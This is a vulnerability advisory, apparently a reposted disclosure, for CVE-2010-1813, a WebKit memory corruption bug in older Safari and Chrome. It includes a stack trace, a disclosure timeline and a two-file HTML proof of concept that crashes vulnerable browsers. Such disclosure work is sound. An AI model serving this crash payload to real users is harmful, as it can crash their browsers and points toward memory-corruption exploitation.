111 lines
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3.7 KiB
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111 lines
No EOL
3.7 KiB
Text
TITLE: WEBKIT (APPLE SAFARI < 4.1.2/5.0.2 & GOOGLE CHROME < 5.0.375.125) MEMORY CORRUPTION VULNERABILITY
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TESTED OS: WINDOWS XP SP3
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SEVERITY: HIGH
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CVE-NUMBER: CVE-2010-1813
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DISCOVERED DATE: 2010-06-29
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FIXED DATE: GOOGLE CHROME (2010-07-26) & APPLE SAFARI (2010-09-08)
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FIXED VERSIONS: GOOGLE CHROME 5.0.375.125 & APPLE SAFARI 4.1.2/5.0.2
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DISCOVERED BY: JOSE A. VAZQUEZ
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======ABOUT APPLICATION======
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"WebKit is an open source web browser engine. WebKit is also the name of the Mac OS X system framework version
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of the engine that's used by Safari, Dashboard, Mail, and many other OS X applications. WebKit's HTML and
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JavaScript code began as a branch of the KHTML and KJS libraries from KDE..." copied from http://webkit.org/
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======DESCRIPTION======
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A memory corruption vulnerability was confirmed by Chromium Security Team. Original stacktrace showed a null ptr
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dereference, but some pointers were also corrupted.
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Stacktrace (using Chrome symbols):
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WebCore::RenderObject::containingBlock() Line 597
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WebCore::RenderBlock::paintContinuationOutlines() Line 2344
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WebCore::RenderBlock::paintObject() Line 2232
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WebCore::RenderBlock::paint() Line 1980
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WebCore::RenderLayer::paintLayer() Line 2447
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WebCore::RenderLayer::paintList() Line 2499
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WebCore::RenderLayer::paintLayer() Line 2468
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WebCore::RenderLayer::paint() Line 2252
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WebCore::FrameView::paintContents() Line 1943
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WebCore::ScrollView::paint() Line 797
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WebCore::RenderWidget::paint() Line 281
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WebCore::InlineBox::paint() Line 180
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WebCore::InlineFlowBox::paint() Line 682
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WebCore::RootInlineBox::paint() Line 167
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WebCore::RenderLineBoxList::paint() Line 219
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WebCore::RenderBlock::paintContents() Line 2090
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WebCore::RenderBlock::paintObject() Line 2199
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WebCore::RenderBlock::paint() Line 1980
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WebCore::RenderBlock::paintChildren() Line 2127
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WebCore::RenderBlock::paintContents() Line 2092
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WebCore::RenderBlock::paintObject() Line 2199
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WebCore::RenderBlock::paint() Line 1980
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WebCore::RenderLayer::paintLayer() Line 2445
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WebCore::RenderLayer::paintList() Line 2499
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WebCore::RenderLayer::paintLayer() Line 2468
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WebCore::RenderLayer::paint() Line 2252
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WebCore::FrameView::paintContents() Line 1943
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WebCore::ScrollView::paint() Line 797
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WebKit::WebFrameImpl::paintWithContext() Line 1795
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WebKit::WebFrameImpl::paint() Line 1818
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WebKit::WebViewImpl::paint() Line 979
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RenderWidget::PaintRect() Line 390
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RenderWidget::DoDeferredUpdate() Line 501
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RenderWidget::CallDoDeferredUpdate() Line 428
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======PROOF OF CONCEPT======
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File 1.html:
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<meta http-equiv="refresh" content="1;URL=1.html" >
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<iframe src="2.html"></iframe>
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File 2.html:
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<dialog style='position:relative'>
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<h style='outline-style:auto'>X<div></div></h>
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</dialog>
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======STEPS TO REPRODUCE======
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1.- Upload 1.html and 2.html to your server.
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2.- Open file 1.html with vulnerable app.
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-Google Chrome:
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3.- Wait for a while, then, crash is got (sad-tab).
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-Apple Safari:
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3.- Wait for a while, if crash is not got, use Ctrl+T to trigger it.
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======REFERENCES======
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[ref-1] -> https://bugs.webkit.org/show_bug.cgi?id=41373
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[ref-2] -> http://googlechromereleases.blogspot.com/2010/07/stable-channel-update_26.html
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[ref-3] -> http://support.apple.com/kb/HT4334
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[ref-4] -> http://spa-s3c.blogspot.com/2010/09/full-responsible-disclosurewebkit-apple.html
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======DISCLOSURE TIMELINE======
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Standard Time Zone: GMT/UTC + 01:00 hour (Spain/Madrid)
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[2010-06-29] => Posted new issue in Chromium Project (with pocs).
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[2010-06-29] => Chromium confirmed memory corruption and opened new webkit bug.
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[2010-07-26] => Chromium released new fix (Google Chrome 5.0.375.125).
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[2010-09-08] => Apple released new fix (Apple Safari 4.1.2/5.0.2).
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[2010-09-10] => Public disclosure.
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======CREDITS=======
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Jose Antonio Vazquez Gonzalez,
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Telecom. Engineer & Sec. Researcher.
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http://spa-s3c.blogspot.com/ |